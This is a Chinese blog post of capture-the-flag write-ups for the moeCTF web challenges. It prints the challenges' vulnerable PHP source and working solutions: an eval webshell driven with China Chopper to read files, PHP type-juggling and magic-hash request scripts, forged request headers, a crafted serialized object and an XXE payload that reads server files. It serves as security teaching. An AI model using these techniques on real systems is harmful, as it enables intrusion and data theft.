【moeCTF题解-0x06】Web_moectf2023-程序员宅基地

技术标签: CTF  网络安全  


title: 【moeCTF题解-0x06】Web
categories:

  • CTF
  • moeCTF
    tags:
  • CTF
  • Web
  • Python

【moeCTF题解-0x06】Web

竟然AK了这部分,但也只是因为题目简单……

考虑到在XDSEC里选了web方向,也要好好学习web知识呀


【moeCTF 题解】总目录如下:


Web

11/11

GET

50points

http://web.moectf.online/GET/

Hint

什么是GET?

如何GET?

打开靶机地址

<?php 
error_reporting(0); 
highlight_file(__FILE__); 
include 'flag.php'; 



$a = $_GET['a']; 
if($a==flag) 
die ($flag);

URL后面加上?a=flag来GET传值

http://web.moectf.online/GET/?a=flag

打开得到flagmoectf{Y0u_kn0w_G4T_n0w}


POST

50points

http://web.moectf.online/POST/

Hints

链接:

什么是POST?

如何POST?

 <?php
error_reporting(0);
highlight_file(__FILE__);
include 'flag.php';



$a = $_POST['a'];
if($a==flag)
die ($flag); 

POST一个a=flag上去:

就得到flag:moectf{Y0u_kn4w_p0st_n0w}

这里我使用的是火狐开发者版与插件HackBar V2来进行post的,轻量且适合小白


小饼干

50points

http://web.moectf.online/bis/

小饼干,就是cookie啦

浏览器-开发者工具栏-网络-Cookie 中可以查看cookie:

Cookie	"moectf{y0u_c4n't_e4t_thi3_c00k1e}"

得到flag:moectf{y0u_c4n't_e4t_thi3_c00k1e}

(响应头里面也有)


Introduction

50points

地址:

  • https://moectf.online/introduction
  • https://moectf.online/qa

你能找到flag嘛?

查看HTML源码,分别找到如下注释

<!-- moectf{i_wAnt_2_ -->
<!-- jo1n_XDSEC!} -->

就是flag了。


一句话

100points

http://39.98.86.109:10000/

拿到flag就别乱搞了哦

打开网页:

<?php
error_reporting(0);
highlight_file("index.php");
eval($_POST['a']);
?> 

发现里面已经内嵌了一句话木马eval($_POST['a']);

上久闻大名的中国菜刀(China chopper)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mzNE8iCi-1604659963683)(【moeCTF题解-0x06】Web/image-20201030212338263.png)]

[/var/www/html/]$ ls -l ../../../
total 84
drwxr-xr-x   3 root root 4096 Feb 15  2016 app
drwxr-xr-x   1 root root 4096 Feb 15  2016 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
drwxr-xr-x   5 root root  340 Aug  4 03:21 dev
drwxr-xr-x   1 root root 4096 Aug  4 03:21 etc
-rw-r--r--   1 root root   40 Jun 17 16:22 flag
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x   1 root root 4096 Feb 15  2016 lib
drwxr-xr-x   2 root root 4096 Jan 19  2016 lib64
drwxr-xr-x   2 root root 4096 Jan 19  2016 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jan 19  2016 opt
dr-xr-xr-x 186 root root    0 Aug  4 03:21 proc
drwx------   1 root root 4096 Aug  4 03:23 root
drwxr-xr-x   1 root root 4096 Aug  4 03:21 run
drwxr-xr-x   1 root root 4096 Jan 19  2016 sbin
drwxr-xr-x   2 root root 4096 Jan 19  2016 srv
dr-xr-xr-x  13 root root    0 Aug  4 03:21 sys
drwxr-xr-x   1 root root 4096 Feb 15  2016 usr
drwxr-xr-x   1 root root 4096 Feb 15  2016 var

[/var/www/html/]$ cat ../../../flag
moectf{
    0hhhh!!!y0u_know_h0w_to_u3e_eva1}

于是得到flag:moectf{0hhhh!!!y0u_know_h0w_to_u3e_eva1}


EzMath

150points

http://39.98.86.109:10001/

简简单单数学题

import requests
r = requests.Session()
s = r.post("http://39.98.86.109:10001/")
s.encoding = 'utf-8'
print(s.text)
print("====================")
for i in range(1):
    tet = s.text
    iAlg = tet.find("br>")
    alg = tet[iAlg+3:iAlg+15]
    iEqu = alg.find("=")
    alg = alg[:iEqu]

    print(alg,'============',str(eval(alg)))

    s = r.post('http://39.98.86.109:10001/', data={
    "a": (eval(alg))})
    s.encoding = 'utf-8'
    print(s.text)

得到flag:moectf{MA7H_1s_s0_ea5y!!r1ght?}

听说直接禁用JavaScript也可以?


三心二意

points

http://39.97.238.171:8002/

Hint

怀着三个等号的心,做了两个等号的事。


<?php 
$a = $_GET['a']; 
$b = $_POST['b']; 
$c = $_REQUEST['c']; 
$d = $_COOKIE['d']; 

if (!isset($a, $b, $c, $d)) {
     
    highlight_file(__FILE__); 
} else {
     
    if (is_numeric($a) and $a == false) {
     
        echo 'A is OK!'; 
        echo '<br/>'; 
        if (!is_numeric($b) and $b == 0x125e591) {
     
            echo 'B is OK!'; 
            echo '<br/>'; 
            if ($c != 240610708 and md5($c) == md5(240610708)) {
     
                echo 'C is OK!'; 
                echo '<br/>'; 
                if (strlen($d) < 7 and $d != 0 and $d ** 2 == 0) {
     
                    include('/flag'); 
                } else {
     
                    echo "D is not wanted.<br/>"; 
                    highlight_file(__FILE__); 
                } 
            } else {
     
                echo "C is not wanted.<br/>"; 
                highlight_file(__FILE__); 
            } 
        } else {
     
            echo "Too young too simple.<br/>"; 
            highlight_file(__FILE__); 
        } 
    } else {
     
        echo "A is not wanted.<br/>"; 
        highlight_file(__FILE__); 
    } 
} 
import requests

header = {
    }
cookie = {
    'd':'1e-222'}
postpayload = {
    "b":"19260817a","c":"QNKCDZO"}
r = requests.post('http://39.97.238.171:8002/?a=0&c=QNKCDZO', data=postpayload, cookies=cookie) 

print(r.text[:100])#输出响应主体

# A is OK!<br/>B is OK!<br/>C is OK!<br/>moectf{PHP_1s_the_besT_lAngu@ge}

moectf{PHP_1s_the_besT_lAngu@ge}

俄罗斯头套

200points

http://39.98.86.109:10002/

你的ip是:██████████████████████
不是127.0.0.1的话我可不会给你flag哦 
你的ip是:127.0.0.1
什么?你不是从"https://www.baidu.com"来的?那可不行... 
你的ip是:127.0.0.1
什么?你用的不是POST请求?那可不行... 
你的ip是:127.0.0.1
什么?你用的不是"supreme"浏览器?那可不行... 
Host: 39.98.86.109:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://www.baidu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: http://39.98.86.109:10002
Connection: keep-alive
Cookie: PHPSESSID=98rbnl919ufqd9s19fo5qbnom0
Upgrade-Insecure-Requests: 1
Server: supreme
X-Forwarded-For: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache

moectf{r3que5t_he4der_1s_ea5y!!}


Moe include

200points

http://web.moectf.online/include/


<a href="?file=hint.php">do not click</a>

 <!DOCTYPE html>
 <html>
   <head>
     <title> </title>
   </head>
   <body>
     <!-- 你知道php伪协议吗-->
   </body>
 </html>

<?php
error_reporting(E_ALL);
ini_set('open_basedir', '/var/www/moectf/include');
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    
	exit('get out!');
}
if($file){
    
	include($file);
}else{
    
	echo '<a href="?file=hint.php">do not click</a>';
}
?>

moectf{php_is_the_best_language}

Moe unserialize

250points

http://web.moectf.online/unserialize/


有一天,赤道企鹅在愉快的使用vim给学弟挖坑,突然伴随着身体的一阵抽搐,电脑死机了。企鹅悲痛欲绝,聪明的你能帮助企鹅找到他挖的坑吗?
<?php
error_reporting(0);
class Moe {
    
    public $a;
    protected $b;
    private $c;


    function __destruct() {
    
        if ($this->a === '1' && $this->b === '2' && $this->c === '3') {
    
            include 'flag.php';
            die($flag);
        }
    }
}
$moe = $_GET['flag'];
unserialize($moe);
?>
    
有一天,赤道企鹅在愉快的使用vim给学弟挖坑,突然伴随着身体的一阵抽搐,电脑死机了。企鹅悲痛欲绝,聪明的你能帮助企鹅找到他挖的坑吗?

serialize()
<?php
class Moe {
    
    public $a;
    public $b;
    public $c;


    function __destruct() {
    
        if ($this->a === '1' && $this->b === '2' && $this->c === '3') {
    
            include 'flag.php';
            die($flag);
        }
    }
}
$m = new Moe;
$m->a = '1';
$m->b = '2';
$m->c = '3';
echo serialize($m);
?>
?flag=O:3:"Moe":3:{
    s:1:"a";s:1:"1";s:1:"b";s:1:"2";s:1:"c";s:1:"3";}
moectf{
    Y0u_4re_A_Moe}

仍有疑问:为什么能访问保护对象

访问这个

moectf{Y0u_4re_A_Moe}

EzXXE

250points

http://39.97.238.171:8001/

<?php 
// flag is in '/flags/flag1.txt' and '/flags/flag2.php' 

libxml_disable_entity_loader (false); 
$xmlfile = file_get_contents('php://input'); 

if (strpos($xmlfile,"flag1.txt") !== FALSE){
     
    if (strpos($xmlfile,'file:/') === FALSE){
     
        die("Please use file protocol.<br/><br/>"); 
    } 
} 
if (strpos($xmlfile,"flag2.php") !== FALSE){
     
    if (strpos($xmlfile,'file:/') !== FALSE){
     
        echo "Why not try php://filter?"; 
        echo '<br/><br/>'; 
    } 
} 

$dom = new DOMDocument(); 
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);  
$test = simplexml_import_dom($dom); 
echo $test; 
highlight_file(__FILE__); 
?>
# https://www.cnblogs.com/backlion/p/9302528.html
import requests
import base64
if __name__ == '__main__':
    url = 'http://39.97.238.171:8001/'

    xml = """<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flags/flag2.php">
    ]>
    <value>&xxe;</value>""" 
    req = requests.request(method='POST',url = url, data = xml)

    print(req.text)

# php://filter/read=convert.base64-encode/resource=/flags/flag2.php

print(base64.b64decode(b'PD9waHAgJGZsYWcyID0gJzRuZF9waHBfZjFsdDNyfSc7ID8+'))


# <value>是必须的 , 其他的得 echo $xml->from;
# moectf{XXE_4nd_php_f1lt3r}



未完待续……

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_47102975/article/details/109537339

智能推荐

简单c语言程序例子与运行结果图,C语言程序第一次作业-程序员宅基地

文章浏览阅读1.1k次。(一)实验总结1. 求圆面积和周长(1)题目输入圆的半径,计算圆的周长和面积。(2)流程图 (3)测试数据及运行结果测试数据1:r=2运行结果: (4)实验分析没有问题2.判断闰年(1)题目输入一个四位年份,判断其是否是闰年。闰年的判别条件是该年年份能被4整除但不能被100整除、或者能被400整除。(2)流程图 (3)测试数据及运行结果测试数据1:y=1980运行结果: (4)实验分析没错误3.求..._程序运行结果与执行结果图片

[杂七杂八]Pytorch+tensorboard error:unpack require a string argument of length 4-程序员宅基地

文章浏览阅读128次。error:unpack require a string argument of length 4decodeerror: error parsing message这个错误是环境版本问题,我用:python 2.7pytorch 0.4.0tensorboardx 1.9tensorboard 2.0因此,pip uninstall tensorboardpip install tensorboard==1.9.0搞定PS:这些小框架和cudnn的版本、各个库之间的版本配合往往藏着坑

【基于MATLAB的数字图像处理】大作业·综合图像处理平台_图像综合处理-程序员宅基地

文章浏览阅读1.1w次,点赞23次,收藏272次。我们获得的图像难免会伴随着很多的噪声,有时会使图像质量下降;有时会干扰我们的视觉,使拍摄出的图像效果不满意;有时甚至会出现一些特殊情况,遮挡住人脸或重要物体。这时我们需要对获得的图像进行一些图像处理,以使我们的图像观感更好,图像质量更优质。本平台致力于将多种图像处理功能集成于一体,方便用户直观快捷的对图像进行操作处理,快速地获得一幅较为优质的图像;另外,本平台亦可作为教育教学软件使用,教师可以直观的为学生展示各种图像操作的变换的效果,也可进一步延伸,展示一些偏向于应用和中级图像处理的图像操作。_图像综合处理

C/C++ 回调函数 callback 异步编程_c++异步回调-程序员宅基地

文章浏览阅读785次,点赞5次,收藏12次。C/C++面向对象(OOP)编程-回调函数详解(回调函数、C/C++异步回调、函数指针)-程序员宅基地。动态函数指针free报错_编程语言-CSDN问答。_c++异步回调

CTFshow web入门web171-sql1_ctfshowweb171-程序员宅基地

文章浏览阅读102次。说明到3就没有了,直接进行union查询 (此时将1改为-1)本题考察sql注入联合查询union select。继续到1‘ order by 4--+首先我们试着注入1‘ and 1=1’继续到1‘ order by 3--+回显异常,说明存在注入。_ctfshowweb171

软件测试工程师面试基础题(应届生和测试小菜必备)最基础的面试题_软件测试基础知识面试题-程序员宅基地

文章浏览阅读6.7k次,点赞18次,收藏214次。​ 答:(美国电器和电子工程师协会)IEEE提出的软件工程标准术语,使用人工和自动手段来运行或测试某个系统的过程,目的在于检验它是否满足规定的需求或是弄清预期结果与实 际结果之间的差别。简单定义:找出软件中的BUG答:在软件开发过程中容易出现缺乏有效沟通,软件复杂,编程错误,需求不断变更,时间的压力,缺乏文档的代码,软件开发工具和人员的自大等原因引发的错误,通过测试能够找出其中的错误,解决错误,从而提高软件的质量答:计划工作内容需求分析工作内容 对开发的软件进行详细的定义,由需求分析人员和用户共同讨_软件测试基础知识面试题

随便推点

git上代码整体拉到vscode上步骤__git项目更新到本地__vscode更新项目至git_vscodegit拉取最新代码到本地-程序员宅基地

文章浏览阅读5.3k次,点赞3次,收藏18次。git上代码整体拉到vscode上步骤1.将代码克隆到本地2.终端cd到项目的根目录(在其他分支写项目)git项目更新到本地步骤方法一:方法二(好用)vscode 上传本地更改文件至git上方法一:使用命令提交方法二:直接在vscode界面提交(推荐,简单方便)_vscodegit拉取最新代码到本地

Ubuntu20.04安装gtsm_toolbox_gstam anzhuang-程序员宅基地

文章浏览阅读779次。本文详细介绍了在ubuntu20.04系统中安装gtsam-4.0.3 realsease版本的matlab gtsam_toobox库的流程,希望能够帮助更多读者减少安装过程遇到的问题。_gstam anzhuang

Dev-C++5.16安装包下载_devc++5.16下载-程序员宅基地

文章浏览阅读1.5k次。喜欢英文来英文的~_devc++5.16下载

【linux指南--命令大全】-程序员宅基地

文章浏览阅读1.1k次。系统的学习linux常用的命令,命令很全所以篇幅很长,可以作为你查阅命令的手册

【Servlet】(1)Servlet简介、Servlet底层原理、Servlet实现方式、Servlet生命周期_servlet层-程序员宅基地

文章浏览阅读1.4w次,点赞39次,收藏226次。一、Servlet简介1、Servlet定义: Servlet(Server Applet)是Java Servlet的简称,是为小服务程序或服务连接器,用Java编写的服务器端程序,主要功能在于交互式地浏览和修改数据,生成动态Web内容。2、Servlet定义: A servlet is a small Java program that runs within a Web server_servlet层

Mybatis generator 1.4.x 入门教程--转载_sqlprovideradapter-程序员宅基地

文章浏览阅读1.2k次。Mybatis generator 1.4.x 入门教程一、前言​ 最近因为公司开了新的项目,所以在构建骨架的时候发现mybatis最新的版本已经更新到了1.4.0了,尝试了一下,比起之前的mybatis版本,有了更好的优化,用上了lamada表达式,还支持动态sql查询,所以在这里安利一波,因为之前我用的Laravel ORM,所以比较习惯使用这种lamada表达式来查询,可能之前用习惯了以前的查询方式的二、官方文档地址官方文档地址三、集成 mybatis Generator 1.4._sqlprovideradapter

推荐文章

热门文章

相关标签